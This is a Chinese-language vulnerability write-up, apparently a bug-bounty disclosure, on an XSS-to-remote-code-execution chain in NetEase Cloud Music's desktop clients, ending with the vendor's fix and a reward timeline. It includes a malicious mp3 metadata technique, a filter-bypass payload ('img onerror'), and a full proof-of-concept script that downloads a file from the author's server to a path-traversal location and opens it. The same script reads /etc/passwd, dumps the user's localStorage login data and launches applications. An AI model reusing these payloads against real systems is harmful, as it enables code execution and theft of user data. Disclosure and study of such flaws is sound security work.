描述 网易云音乐是一款由网易开发的音乐产品,依托专业音乐人、DJ、好友推荐及社交功能,在线音乐服务主打歌单、社交、大牌推荐和音乐指纹,以歌单、DJ节目、社交、地理位置为核心要素,主打发现和分享。 本文从听歌时观察界面发生了差异化讲起,但出于某些原因做出部分删减。 黑盒测试网易云音乐客户端对 mp3 处理不当导致攻击者可以构造恶意音乐文件再其用户打开后执行恶意程序,该漏洞for macOS 版本(<=1.5.2 Build538)发生在专辑/歌手/歌名处,Windows 版本( 专辑 –> mp3进行分类,云音乐在读取专辑文件夹名时会渲染解析到播放歌曲页面中,目录结构: - ➜ Unknown Album pwd
- /Users/evi1m0/Music/iTunes/iTunes Media/Music/Unknown Artist/Unknown Album/
复制代码UnknownAlbum 将会显示在歌曲名下方,我们构造 a 标签 onmouseover 事件(方便测试)导入远程服务器脚本,音乐信息 macOS 可使用 iTunes 修改, Windows 可直接属性详细信息中双击编辑。之后插入远程脚本,当客户端读取专辑信息时将会解析渲染标签,此时即可控制远程 JavaScript 对本地客户端进行调试,e.g: 0x02 获取资源文件注意到前面获取的 location 处于沙箱之中,现在我们需要简单分析并拿到需要网易云客户端的资源文件:一方面了解黑盒测试中漏洞点的具体成因,另一方面尝试找出更多的问题。NeteaseMusic 文件夹位于: /Applications/NeteaseMusic.app/Contents/Resources ,除了一堆不需要关心的 tiff 文件,里面的 resources.pack 引起了我的注意:
- ➜ Resources pwd
- /Applications/NeteaseMusic.app/Contents/Resources
-
- ➜ Resources ls
- 163Music.icns
- MiniPlayerFastForwardButton.tiff
- MiniPlayerVolumeThumb.tiff
- ...tiff
- Relaunch
- TouchBarTrash.tiff
- YYYMiniPlayerVolumeBarHeader.tiff
- YYYMiniPlayerVolumeBarMax.tiff
- YYYMiniPlayerVolumeBarMin.tiff
- YYYMiniPlayerVolumeBarTailer.tiff
- ...tiff
- en.lproj
- pinyin.bin
- resources.pack
- zh-Hans.lproj
-
- ➜ Resources file resources.pack
- resources.pack: Zip archive data, at least v1.0 to extract
复制代码解压 resources.pack 压缩包: 应该是开发人员出于安全问题考虑对其客户端资源文件进行了包加密,思考程序运行流大概能推断出云音乐再打开的时候会对压缩包进行解压并读取对应脚本和资源文件,还记得前面的 location 沙箱吗?(orpheus://orpheus/pub/app.html#/m/local/artist/?name=%E5%85%B6%E4%BB%96&date=1492156828286)这个伪协议 orpheus://orpheus/ 中应该对应的就是 pack 包里面的路径,现在对其程序解压的操作进行逆向分析,测试是否能够帮助我们获得资源文件。 /Applications/NeteaseMusic.app/Contents/MacOS/NeteaseMusic: - ➜ MacOS file NeteaseMusic
- NeteaseMusic: Mach-O 64-bit executable x86_64
复制代码ida 载入分析 Object-C : 观察大概程序逻辑后这里我们找到了 UnzipOpenFile Password :
- __objc_selrefs:00000001001D78D8 selRef_initWithFileManager_ dq offset sel_initWithFileManager_
- __objc_selrefs:00000001001D78D8 ; DATA XREF: -[YYYWebfilesManager unzipWebfilesToFile]+61r
- __objc_selrefs:00000001001D78D8 ; -[YYYWebfilesManager unzipWebfilesToMemory]+65r ...
- __objc_selrefs:00000001001D78D8 ; "initWithFileManager:"
- __objc_selrefs:00000001001D78E0 selRef_UnzipOpenFile_Password_ dq offset sel_UnzipOpenFile_Password_
- __objc_selrefs:00000001001D78E0 ; DATA XREF: -[YYYWebfilesManager unzipWebfilesToFile]+81r
- __objc_selrefs:00000001001D78E0 ; -[YYYWebfilesManager unzipWebfilesToMemory]+85r
- __objc_selrefs:00000001001D78E0 ; "UnzipOpenFile:Password:"
- __objc_selrefs:00000001001D78E8 selRef_unarchivedPath dq offset sel_unarchivedPath
- __objc_selrefs:00000001001D78E8 ; DATA XREF: -[YYYWebfilesManager unzipWebfilesToFile]+9Fr
- __objc_selrefs:00000001001D78E8 ; +[YYYWebfilesManager webfileDiskFullPathForRelativePath:]+15r ...
- __objc_selrefs:00000001001D78E8 ; "unarchivedPath"
- __objc_selrefs:00000001001D78F0 selRef_UnzipFileTo_overWrite_ dq offset sel_UnzipFileTo_overWrite_
- __objc_selrefs:00000001001D78F0 ; DATA XREF: -[YYYWebfilesManager unzipWebfilesToFile]+B4r
- __objc_selrefs:00000001001D78F0 ; "UnzipFileTo:overWrite:"
- __objc_selrefs:00000001001D78F8 selRef_UnzipFileToMemory dq offset sel_UnzipFileToMemory
- __objc_selrefs:00000001001D78F8 ; DATA XREF: -[YYYWebfilesMa
复制代码
cfstr_Czh9r3xggxdaow: “czh9r3xgGxdaOw9 ** ** ** ** ** ** ** ** ** 38nmlqVBNlHbgGEjToQeRkPcpLQjuQ1y2TNRYW59euPbbLlVQ32saq2j7TdvfZnSe” 追踪汇编代码可得知密码为定义的明文字符串,解密成功!我们拿到了所有资源文件: 终于可以回过头来分析文章开始漏洞的具体代码了,它位于 /webapp/pub/module/common/widget/index.html 文件中: - <h2 class="alias s-bfc3 u-tit f-ff2 f-thide f-ust f-ust-1">
- {list track.alias as name} <b>${name|escape}</b><b>;</b> {/list}
- </h2>{/if}
- <ul class="f-cb f-ust f-ust-1">
- <li class="f-thide">
- <label class="s-bfc4">专辑:</label> <span class="txt">{if !track.album.id} <span class="s-fc2">${track.album.name||'未知'}</span> {else} <a class="s-fc2" href="#/m/album/?id=${track.album.id}" title="${track.album.name||'未知'}">${track.album.name||'未知'}</a> {/if}</span>
- </li>
- <li class="f-thide">
- <label class="s-bfc4">歌手:</label> <span class="txt">{list track.artists as x} {if !x.id} <span class="s-fc2">${x.name||'未知'}</span> {else} <a class="s-fc2" href="#/m/artist/?id=${x.id}" title="${x.name||'未知'}">${x.name||'未知'}</a> {/if} {if x_index</span>
- </li>
- <li style="list-style: none">{if type!='fm'}
- </li>
- <li class="f-thide">
- <label class="s-bfc4">来源:</label> <span class="txt" title="${from.text||'未知'|escape}">{if !!from.href} <a class="s-fc2" href="#${from.href}">${from.text||'未知'|escape}</a> {else} <span class="s-fc2">${from.text||'未知'|escape}</span> {/if}</span>
- </li>
- <li style="list-style: none">{/if}
- </li>
- </ul>
- <textarea name="txt" id="m-fdtt-show-track-lrc-loading">
复制代码 Nej Framework在前面逆向的过程中我们发现在 Windows 平台中的资源文件 \Program Files\CloudMusic\package\xxx.ntpk 并未对 ntpk 进行加密操作,可以直接获取 Windows 平台上的资源代码,但由于两个平台具体实现代码多多少少不同,依然得解开 macOS 中云音乐的资源包。 pub 以及 style 路径中的资源文件证明了前面我们假设沙盒路径的观点,资源文件中核心 js 位于 webapp/pub/core.js ,文件进行了加密混淆,格式化之后行数高达 44,663 行: - ➜ webfiles cloc .
- -------------------------------------------------------------------------------
- Language files blank comment code
- -------------------------------------------------------------------------------
- JavaScript 1 7 0 44663
- HTML 145 13 2 16468
- CSS 4 0 0 599
- -------------------------------------------------------------------------------
- SUM: 150 20 2 61730
- -------------------------------------------------------------------------------
复制代码现在对其入口文件、Core.js进行代码分析,发现使用网易 nej 框架编写,关于 nej-framework : NEJ{N:nice;E:easy;J:javascript;}NEJ 是由网易前端组工程师们发起创建的简洁,美观,真正的跨平台web前端开发框架;她遵循的原则是:自由定制、小巧灵活、简洁易用、愉悦编码、快乐开发。 通过对比代码后(nej.netease.com)得知云音乐这个应该是个修改版本,其中包含了大量源库没有的方法,虽然弄清楚了大概的逻辑但由于混淆的存在使得分析的难度稍微上升了一些。core.js 中声明的 window.APP_CONF 里面存储着 skey, secret, appkey, domain 等等信息,最开始本想通过 hook APP_CONF 中的敏感信息劫持整个客户端的网络操作,实际过程中遇到了很多问题导致没有继续。 macOS 中用户登录的信息存储在 localStorage 中,所以我们可以很简单的通过遍历的方法读取出所有的信息,其中包含不少个人敏感信息、计算机信息等。Cookies 相关的话框架单独封装了具体操作和存储过程。 由于 core.js 代码量较大逻辑比较复杂,所以也就不阐述太多具体的逻辑实现,感兴趣的可以自行分析阅读,最终我找到了很多比较好用的点,这里列几个后面 Payload 将要用到的函数方法及传参格式(软件开发者为了实现打开下载目录、下载音乐等功能): - NEJ.P(“nej.n”).cv(“os.shellOpen”, path) // macOS
- NEJ.P(“nej.n”).cv(“download.start”, P, url, path, “”); // macOS
- NEJ.P(“nej.cef”).cFB(“os.shellOpen”, path); // Windows
- NEJ.P(“nej.cef”).cFB(“download.start”,{id:”image_download”,url: url,rel_path: path,pre_path: ““,type:1}); // Windows
复制代码 白盒审计小插曲:上述漏洞在评审过程出现了点问题,他们评审人员对漏洞利用环节(需下载攻击者 mp3 到用户计算机打开)这个有些拿捏不准是否应当算满分,不过最终还是给出了满分的奖励。 拿到全部资源文件后我开始思考是否能够得到一个不需要下载 mp3 触发的漏洞,看了大半天的模板文件后可以感受到大部分的变量还是没有经过 escape 处理的,直接写正则匹配 webfile 资源文件中模板渲染未过滤的变量: 虽然我们找到很多未处理的变量但实际上许多是比较难利用的,我选定了一个看起来成功率应该还不错的地方 /webfiles/webapp/pub/module/main/djradio/index.html : - <div class="name name-gd">
- <h2 class="tit u-tit f-ff2">
- <span class="u-rtag2">电台</span>
- <span class="gd">
- <span class="gdin">
- <b>${x.name}</b>
- </span>
- </span>
- </h2>
- </div>
- </dd>{if x.dj}
- <dd class="user">
- <a href="#/m/personal/?uid=${x.dj.userId}" class="u-face u-face-2">
- <img src="${x.dj.avatarUrl}?param=35y35">${commonJST('com-user-type', x.dj)}</a>
- <a href="#/m/personal/?uid=${x.dj.userId}" class="s-bfc4">${x.dj.nickname}</a></dd>{/if}
- <dd class="btns">{if x.dj&&x.dj.userId==hostId}
- <button class="u-ibtn5 u-ibtn5-dy u-ibtnst1 z-dis">订阅(${x.subCount|formatTenThousand})</button>{elseif x.subed}
- <button data-res-type="70" data-res-action="unfav" data-res-id="${x.id}" class="u-ibtn5 u-ibtn5-ydy u-ibtnst1">已订阅(${x.subCount|formatTenThousand})</button>{else}
- <button data-res-type="70" data-res-action="fav" data-res-id="${x.id}" class="u-ibtn5 u-ibtn5-dy u-ibtnst1">订阅(${x.subCount|formatTenThousand})</button>{/if}
- <button data-res-type="70" data-res-action="play" data-res-from="70" data-res-id="${x.id}" data-res-data="${x.id}" class="u-ibtn5 u-ibtnst1 u-ibtn5-ply" data-log-action="playall" data-log-source="djradio" data-log-object="dj">播放全部</button>
- <button data-res-type="70" data-res-action="share" data-res-id="${x.id}" class="u-ibtn5 u-ibtn5-light u-ibtnst1 u-ibtn5-share">分享(${x.shareCount||0})</button></dd>
- <dd class="inf inf-intr">
- <div class="z-fold full f-ust s-wfc5 jj-flag">
- <a href="#/m/disc/djradio/home/cat?id=${x.categoryId}" class="tag u-type u-type-red">${x.category}</a>${x.desc.trim()|default:''|escape2}</div>
- <div class="open jj-flag">
- <i class="arr u-icn u-icn-open" data-action="switch"></i>
- </div>
- </dd>
- </dl>
- </textarea>
- <textarea name="jst" id="m-yrd-goon-tip">
- <span data-res-type="3" data-res-action="play" data-res-from="70" data-res-id="${last.id}" data-res-data="${radioId}" data-id="${last.id}" data-time="${last.time>=0?last.time:0}" href="#" class="inner f-thide s-wfc3">
- <i class="u-icn4 u-icn4-play2"></i>继续播放:${last.name}</span>
- <span data-res-action="close" class="cls f-pa u-ibtn u-ibtn-1 s-bfc0"></span>
- </textarea>
复制代码main/djradio 文件部分代码段中两个点值得注意: - <b>${x.name}</b>
- <i class="u-icn4 u-icn4-play2"></i>继续播放:${last.name}</span>
复制代码从文件名中观察应该是电台名和继续播放歌单列表的地方出现了问题,不过客户端没有创建电台的地方,一路来到 music.163.com Web 端创建我们自己的电台,简单的几次测试后发现 Payload 会被 Web 端过滤掉,使用 - duzie<img src=1 onerror=prompt(1,location)>xmusic
复制代码
成功绕过: 现在我们终于可以不用让小红下载恶意 mp3 了,当他搜索某首歌曲展示电台页的时候即可触发漏洞,那有没有办法利用网页直接跳转到漏洞点实现 RCE 呢 xxD 看样子是可以的: - <b>cat webfiles/script/start.html
- ...
- //"orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest"
- var _ls = location.search,
- _reg = /^\?action=migrate&src=.*&dest=.*&require/g,
- _href = 'orpheus://orpheus/pub/checkdata.html?G_PATH='+encodeURIComponent('orpheus://orpheus/pub/');
- if(_reg.test(_ls)){
- _href = "orpheus://orpheus/pub/move.html" + _ls;
- }
- window.location.href = _href;
- ...</b>
复制代码至于 LFI ,开始我倒是被 orpheus://orpheus/ 给唬住了,原来是个伪沙盒 0x05 Proof Of Concept & Video- evilmp3: http://server.n0tr00t.com/163/Never%20Mind.mp3
- NeteaseMusic RCE for macOS: http://server.n0tr00t.com/163/macos_neteasemusic.m4v
- NeteaseMusic RCE for Windows: http://server.n0tr00t.com/163/win_neteasemusic.m4v
- view-source: http://server.n0tr00t.com/163/musicrce.js
复制代码- /**
- * NeteaseMusic Remote command execution
- * Author: evi1m0.bat[at]gmail.com
- * Date : 2017/04/13
- **/
- (function() {
- var hh = NEJ.P,
- bh = NEJ.O,
- bw = hh("nej.n"),
- A = hh("nej.e"),
- I = hh("nej.v"),
- bq = hh("nej.ut"),
- bd = hh("nej.cef"),
- bj = hh("nm.x"),
- cu = hh("nm.i"),
- oe = hh("nm.d"),
- bX = hh("nm.m"),
- bI = hh("nm.l"),
- bt = hh("nm.u"),
- bu = hh("nm.m.r"),
- S = setTimeout,
- Z = Math.random(),
- P = Math.round(Z*10000);
- var mac = function(url, path){
- bw.cv("download.start",
- P,
- url,
- path,
- "");
- s = function(){
- bw.cv("os.shellOpen", path)
- }
- S("s()", 2000);
- x = new XMLHttpRequest();
- x.open("GET", "file:///etc/passwd");
- x.onload = function(){
- S("prompt(x.responseText)", 3000);
- };x.send(null);
- bw.cv("os.shellOpen",
- "/Applications/Calculator.app");
- // UserlocalStorage
- lsl={};for(i in localStorage){lsl+=localStorage[i]};
- prompt("UserlocalStorage", lsl);
- }
- var win = function(url, path){
- bd.cFB("download.start",
- {id:"image_download",
- url: url,
- rel_path: path,
- pre_path: "",
- type:1});
- s = function(){
- bd.cFB("os.shellOpen", path)
- }
- S("s()", 2000);
- bd.cFB("os.shellOpen", "C:\\Windows\\System32\\Calc.exe");
- }
- var rua = function() {
- var x, plat = window.navigator.platform;
- if(plat.indexOf("Mac") === 0){
- mac("http://server.n0tr00t.com/163/c0788b86jw.jpg",
- "../../../../../../../../../../tmp/evi1m0"+P+".jpg");
- } else {
- win("http://server.n0tr00t.com/163/c0788b86jw.jpg", "E:\\evi1m0"+P+".jpg");
- }
- };rua();
- })();
复制代码 0x06 漏洞修复影响版本: - macOS <=1.5.2 Build538
- Windows <=2.1.2 Build180086
复制代码在官方推送了更新以后我进行对比,更新修复了这次提交的多个问题并增加 CSP : - <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline' 'unsafe-eval' 163.com http://wr.da.netease.com; connect-src 'self' orpheus: http: https: ws: wss:;">
复制代码
0x07 Timeline- 2017-04-20 15:51 奖励贡献币对应 ¥5000 。
- 2017-04-14 18:07 您提交的报告已评估。
- 2017-04-14 17:52 您提交的报告已确认。
- 2017-04-14 15:19 您提交的报告正在审核中。
- 2017-04-14 15:19 您的报告已提交。
复制代码
|